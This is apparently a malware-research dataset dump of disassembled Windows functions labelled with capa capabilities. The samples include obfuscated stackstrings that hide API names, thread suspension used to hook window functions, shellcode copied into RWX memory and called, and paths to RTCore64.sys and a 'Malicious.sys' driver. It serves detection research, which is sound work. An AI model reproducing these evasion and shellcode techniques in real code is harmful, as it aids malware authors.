joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000f220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
sub rsp, 0x3c0
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x398], rbx
mov qword [rbp + 0x3a0], rdi
mov qword [rbp + 0x3a8], r15
mov rax, qword [0x180027430]
xor rax, rbp
mov qword [rbp + 0x370], rax
mov rbx, rcx
mov r15d, 0x103
lea rcx, [rbp + 0x151]
xor edx, edx
mov r8d, r15d
mov word [rbp + 0x2e], 0x4552
mov word [rbp + 0x2b], 0x5754
mov word [rbp + 0x28], 0x4f53
mov byte [rbp + 0x2a], 0x46
mov word [rbp + 0x30], 0x5c
mov byte [rbp + 0x2d], 0x41
mov word [rbp + 0x14], 0x7325
mov word [rbp + 0x17], 0x73
mov byte [rbp + 0x16], 0x25
mov byte [rbp + 0x150], 0
call fcn.180015240
mov eax, dword [rsp]
sub rsp, 0x20
lea rdi, [rsp + 0x40]
mov eax, dword [rdi]
test rdi, rdi
je 0x18000f2f4
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
xor edx, edx
lea ecx, [rdx + 3]
lea r8, str.NSpeedUpTab
or r9d, 0xffffffff
mov dword [rsp + 0x28], 0x18
mov byte [rdi], 0
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
neg eax
sbb rcx, rcx
and rcx, rdi
jmp 0x18000f2f6
xor ecx, ecx
mov qword [rsp + 0x28], rcx
lea rax, [rbp + 0x28]
mov edi, 0x104
lea rcx, [rbp + 0x150]
lea r9, [rbp + 0x14]
or r8, 0xffffffffffffffff
mov edx, edi
mov qword [rsp + 0x20], rax
call fcn.180011a20
lea rax, [rbp + 8]
lea rdx, [rbp + 0x150]
mov qword [rsp + 0x20], rax
call fcn.18000ebb0
test eax, eax
jne 0x18000f3ea
lea rcx, [rbp + 0x261]
mov r8, r15
xor edx, edx
mov byte [rbp + 0x260], al
call fcn.180015240
mov rcx, qword [rbp + 8]
lea rax, [rbp + 0x10]
lea rdx, [rbp + 0x1c]
mov dword [rbp + 0x1e], 0x736c61
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x260]
mov word [rbp + 0x1c], 0x7668
mov qword [rsp + 0x20], rax
call fcn.18000eae4
test eax, eax
jne 0x18000f3e1
cmp dword [rbp + 0x10], eax
jbe 0x18000f3e1
lea rcx, [rbp + 0x41]
mov r8, r15
xor edx, edx
mov byte [rbp + 0x40], al
call fcn.180015240
lea r9, [rbp]
lea rcx, [rbp + 0x40]
or r8, 0xffffffffffffffff
mov edx, edi
mov word [rbp], 0x6425
mov byte [rbp + 2], 0
mov qword [rsp + 0x20], rbx
call fcn.180011a20
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x260]
call fcn.18000ed50
test rax, rax
je 0x18000f3e1
mov rcx, qword [rbp + 8]
call fcn.18000ec68
mov rax, rbx
jmp 0x18000f3f3
mov rcx, qword [rbp + 8]
call fcn.18000ec68
mov rcx, rbx
call qword [0x180054ce8]
mov rcx, qword [rbp + 0x370]
xor rcx, rbp
call fcn.180010520
mov rbx, qword [rbp + 0x398]
mov rdi, qword [rbp + 0x3a0]
mov r15, qword [rbp + 0x3a8]
lea rsp, [rbp + 0x380]
pop rbp
ret
Function at 0x18000f61c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x180027430]
xor rax, rsp
mov qword [rbp + 0x60], rax
cmp edx, 1
jne 0x18000f73e
mov dword [rsp + 0x37], 0x6946656c
mov dword [rsp + 0x30], 0x4d746547
mov word [rsp + 0x3f], 0x656d
mov word [rsp + 0x3c], 0x4e65
mov word [rsp + 0x41], 0x41
mov word [rsp + 0x35], 0x7564
mov byte [rsp + 0x34], 0x6f
mov byte [rsp + 0x3e], 0x61
mov byte [rsp + 0x3b], 0x6c
call fcn.18000e784
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000f6a3
lea rdx, [rsp + 0x50]
mov r8d, 0x104
xor ecx, ecx
call rax
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x26], 0x75732074
mov dword [rsp + 0x2c], 0x74726f
mov dword [rsp + 0x21], 0x6174736e
mov word [rsp + 0x2a], 0x7070
mov byte [rsp + 0x20], 0x69
mov byte [rsp + 0x25], 0x6e
call fcn.18000ed50
test rax, rax
jne 0x18000f772
lea rdx, [sym.gphelper.dll_HookSetWindowPos]
lea rcx, [0x180054c70]
call fcn.180010134
test eax, eax
je 0x18000f772
lea rdx, [sym.gphelper.dll_HookSetForegroundWindow]
lea rcx, [0x180054c48]
call fcn.180010134
test eax, eax
je 0x18000f772
lea rdx, [sym.gphelper.dll_HookSetActiveWindow]
lea rcx, [0x180054ce8]
call fcn.180010134
test eax, eax
je 0x18000f772
lea rdx, [sym.gphelper.dll_HookBringWindowToTop]
lea rcx, [0x180054c90]
call fcn.180010134
jmp 0x18000f772
test edx, edx
jne 0x18000f772
lea rcx, [0x180054c70]
call fcn.1800103e4
lea rcx, [0x180054c48]
call fcn.1800103e4
lea rcx, [0x180054ce8]
call fcn.1800103e4
lea rcx, [0x180054c90]
call fcn.1800103e4
mov eax, 1
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.180010520
add rsp, 0x170
pop rbp
ret

Function at 0x18000f78c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x180027430]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov r15, r8
mov r14, rdx
mov esi, ecx
xor ebx, ebx
call fcn.18000ed04
mov rdi, rax
test rax, rax
je 0x18000f818
lea rdx, [rbp - 0x20]
mov rcx, rax
mov dword [rbp - 0x1d], 0x78654e6c
mov word [rbp - 0x17], 0x6f6f
mov word [rbp - 0x1f], 0x6c61
mov word [rbp - 0x14], 0x7845
mov word [rbp - 0x19], 0x4874
mov byte [rbp - 0x12], bl
mov byte [rbp - 0x20], 0x43
mov byte [rbp - 0x15], 0x6b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000f80f
mov r9, r15
mov r8, r14
mov edx, esi
xor ecx, ecx
call rax
mov rbx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, rbx
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180010520
mov rbx, qword [rsp + 0x88]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000f90c
Capabilities:
Contain obfuscated stackstrings
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x180027430]
xor rax, rsp
mov qword [rbp + 0x27], rax
xor edi, edi
cmp dword [0x180054c10], 0x40
jae 0x18000fa78
lea rbx, [rdx + rcx]
add rcx, r8
mov r14, 0xfffffffffff80000
lea rax, [rcx + 0x7ff80000]
cmp rcx, 0xffffffff80000000
lea r8d, [rdi + 0x2c]
cmovb r14, rax
and dword [rbp - 0x19], edi
lea rcx, [rbp - 0x15]
xor edx, edx
call fcn.180015240
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, 0x80000000
lea rsi, [rbx - 0x7fff0000]
cmp rbx, rax
lea r12d, [rdi + 1]
cmovb rsi, r12
cmp rsi, r14
jae 0x18000fa78
lea rdx, [rbp - 0x49]
mov r8d, 0x30
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x18000fa48
cmp dword [rbp - 0x29], 0x10000
jne 0x18000fa34
mov rcx, qword [rbp - 0x31]
cmp rcx, 0x78
jb 0x18000fa38
mov eax, dword [rbp + 0xf]
mov r8d, eax
cmp rcx, rax
jb 0x18000fa38
dec eax
xor edx, edx
xor edi, edi
add rax, rsi
mov dword [rbp + 0x1f], 0x636f6c6c
mov dword [rbp + 0x1b], 0x416c6175
div r8
mov dword [rbp + 0x17], 0x74726956
mov byte [rbp + 0x23], dil
mov rbx, rax
imul rbx, r8
call fcn.18000e784
lea rdx, [rbp + 0x17]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000fa2f
lea edx, [rdi + 0x78]
lea r9d, [rdi + 0x20]
mov r8d, 0x3000
mov rcx, rbx
call rax
mov rdi, rax
test rdi, rdi
jne 0x18000fa4d
mov rcx, qword [rbp - 0x31]
mov rsi, qword [rbp - 0x49]
add rsi, rcx
cmp rsi, r14
jb 0x18000f99d
test rdi, rdi
je 0x18000fa78
lea rdx, [0x180054d20]
xor eax, eax
mov rcx, rdx
cmp qword [rcx], 0
je 0x18000fa6d
add eax, r12d
add rcx, 8
cmp eax, 0x40
jb 0x18000fa59
jmp 0x18000fa78
add dword [0x180054c10], r12d
mov qword [rdx + rax*8], rdi
mov rax, rdi
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.180010520
mov rbx, qword [rsp + 0xe0]
add rsp, 0xa0
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000faa0
Capabilities:
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x500
mov rax, qword [0x180027430]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov ebp, r8d
mov rsi, rdx
mov r8d, ecx
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x18000fb64
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, rbx
cmp eax, 0xffffffff
je 0x18000fb5c
mov dword [rsp + 0x50], 0x100001
xor edi, edi
jmp 0x18000fb48
cmp qword [rsp + 0x118], rsi
jb 0x18000fb64
lea rax, [rsi + rbp]
cmp qword [rsp + 0x118], rax
jae 0x18000fb64
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp edi, 3
jge 0x18000fb59
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SuspendThread]
inc edi
mov rcx, rbx
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x18000fb09
jmp 0x18000fb64
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
mov rax, rbx
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.180010520
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x18000fb90
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
call fcn.18000e970
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov esi, eax
call fcn.18000e970
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor edi, edi
cmp dword [0x180054c20], edi
jbe 0x18000fbf8
mov rcx, qword [0x180054c18]
mov rcx, qword [rcx + rdi*8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [0x180054c18]
mov rcx, qword [rcx + rdi*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [0x180054c20]
jb case.default.0x18000fc2c
mov rcx, qword [0x180054c18]
call fcn.180011a44
and qword [0x180054c18], 0
and dword [0x180054c20], 0
call fcn.18000e970
mov edx, esi
mov rcx, rax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_SetThreadPriority]
Function at 0x18000fc34
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x180027430]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov r12d, edx
mov r15, rcx
xor esi, esi
call fcn.18000e970
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov r14d, eax
call fcn.18000e970
lea edx, [rsi + 0xf]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp - 0x1d], 0x6f687370
mov ebx, eax
mov dword [rbp - 0x21], 0x616e5332
mov dword [rbp - 0x2b], 0x6f6f5465
mov dword [rbp - 0x30], 0x61657243
mov dword [rbp - 0x26], 0x706c6568
mov word [rbp - 0x19], 0x74
mov byte [rbp - 0x27], 0x6c
mov byte [rbp - 0x2c], 0x74
mov byte [rbp - 0x22], 0x33
call fcn.18000e784
lea rdx, [rbp - 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000fdee
lea ecx, [rsi + 4]
mov edx, ebx
call rax
mov rbx, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x18000fdee
lea rdx, [rbp - 0x50]
mov rcx, rbx
mov dword [rbp - 0x50], 0x1c
xor edi, edi
call fcn.18000e7d0
test eax, eax
je 0x18000fde5
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rbp - 0x44], eax
jne 0x18000fd29
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbp - 0x48], eax
je 0x18000fd29
inc edi
lea rdx, [rbp - 0x50]
mov rcx, rbx
mov dword [rbp - 0x50], 0x1c
call fcn.18000e858
test eax, eax
jne 0x18000fd11
test edi, edi
je 0x18000fde5
shl rdi, 3
mov rcx, rdi
call fcn.180011a84
mov qword [0x180054c18], rax
test rax, rax
je 0x18000fde5
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.180015240
lea rdx, [rbp - 0x50]
mov rcx, rbx
xor edi, edi
mov dword [rbp - 0x50], 0x1c
call fcn.18000e7d0
jmp 0x18000fdd8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rbp - 0x44], eax
jne 0x18000fdc5
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [rbp - 0x48]
cmp ecx, eax
je 0x18000fdc5
mov r8d, r12d
mov rdx, r15
call fcn.18000faa0
mov rdx, rax
mov rax, qword [0x180054c18]
mov qword [rax + rdi*8], rdx
lea rax, [rdx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x18000fdc5
inc edi
lea rdx, [rbp - 0x50]
mov rcx, rbx
mov dword [rbp - 0x50], 0x1c
call fcn.18000e858
test eax, eax
jne 0x18000fd88
mov dword [0x180054c20], edi
lea esi, [rax + 1]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.18000e970
mov edx, r14d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
test esi, esi
jne 0x18000fe08
call fcn.18000fb90
mov eax, esi
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180010520
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140001440
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x4e8
mov rax, qword [0x140056008]
xor rax, rsp
mov qword [rsp + 0x4d0], rax
movups xmm0, xmmword [str.RTCore64.sys]
mov eax, dword [0x140053418]
lea rdx, [rsp + 0x70]
movsd xmm1, qword [0x140053410]
mov ecx, 0x112
mov dword [rsp + 0x68], eax
mov eax, dword [0x140053438]
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x48], eax
movups xmm0, xmmword [str.Malicious.sys]
movzx eax, word [0x14005343c]
movsd qword [rsp + 0x60], xmm1
movsd xmm1, qword [0x140053430]
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x4c], ax
movsd qword [rsp + 0x40], xmm1
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r9d, 0xe
lea r8, [rsp + 0x50]
mov edx, 0x112
lea rcx, [rsp + 0x70]
call qword [sym.imp.ntdll.dll_wcsncat_s]
lea rdx, [rsp + 0x2a0]
mov ecx, 0x113
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r9d, 0xf
lea r8, [rsp + 0x30]
mov edx, 0x113
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.ntdll.dll_wcsncat_s]
lea r8, [rsp + 0x70]
call fcn.1400010d0
xor eax, eax
mov rcx, qword [rsp + 0x4d0]
xor rcx, rsp
call fcn.140001560
add rsp, 0x4e8
ret

Function at 0x140004250
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140003d30
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14000428f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140040310]
jmp 0x140004299
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret

Function at 0x140026b20
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x1400111e5
Capabilities:
Terminate process

Disassembly:
jmp 0x140014f20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011258
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x140011780
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400210a2]
call fcn.140011357
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x367
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
mov r8d, 0x367
lea rdx, section..data
mov rcx, qword [rbp + 8]
call fcn.1400111a9
call qword [rbp + 8]
xor eax, eax
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x140011262
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012c30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012c50
xor al, al
jmp 0x140012cd1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012c63
xor al, al
jmp 0x140012cd1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012c8d
xor al, al
jmp 0x140012cd1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012ca1
xor al, al
jmp 0x140012cd1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012cb3
xor al, al
jmp 0x140012cd1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012ccf
xor al, al
jmp 0x140012cd1
mov al, 1
add rsp, 0x38
ret
Function at 0x6d8ff350
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d9205e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d8ff4d8
mov rax, qword [0x6d9205e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d8ff39c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d8ff425
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d8ff380
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d8ff50d
mov rax, qword [0x6d9205e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d9205e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d8ff4f0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d8ff41e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d8ff480
add dword [0x6d9205e4], 1
cmp edi, 8
jae 0x6d8ff453
test dil, 4
jne 0x6d8ff4c4
test edi, edi
je 0x6d8ff448
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d8ff4df
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d8ff448
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d8ff46c
jmp 0x6d8ff448
add rsi, qword [0x6d9205e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d8ff41e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d8ff448
xor esi, esi
jmp 0x6d8ff3a7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d8ff448
mov rax, qword [0x6d9205e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d8ffc60
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d9208c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d9208a0]
test rbx, rbx
je 0x6d8ffcb4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d8ffcab
test rsi, rsi
je 0x6d8ffcab
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d8ffc90
lea rcx, [0x6d9208c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d8ffef0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d8fff00
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d8fff10
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d8fff51
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d8fff48
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d8fff53
add rax, 0x28
cmp rax, r9
jne 0x6d8fff34
xor eax, eax
ret

Function at 0x6d8ffff0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d91d1f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d90005d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d90005d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d90005d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d900054
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d90005f
add rax, 0x28
cmp rax, r9
jne 0x6d900040
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d900160
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d91d1f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d900180
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d900178
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d9001dd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d9001d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d9001e4
add rax, 0x28
cmp rax, r9
jne 0x6d9001c0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d900200
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d91d1f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d90026e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d90026e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d90026e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d90026e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d900265
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d900275
add rcx, 0x28
cmp rcx, rax
jne 0x6d900250
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d900288
jmp 0x6d90026e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d900296
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d90026e
test r9d, r9d
jg 0x6d900280
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d900600
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop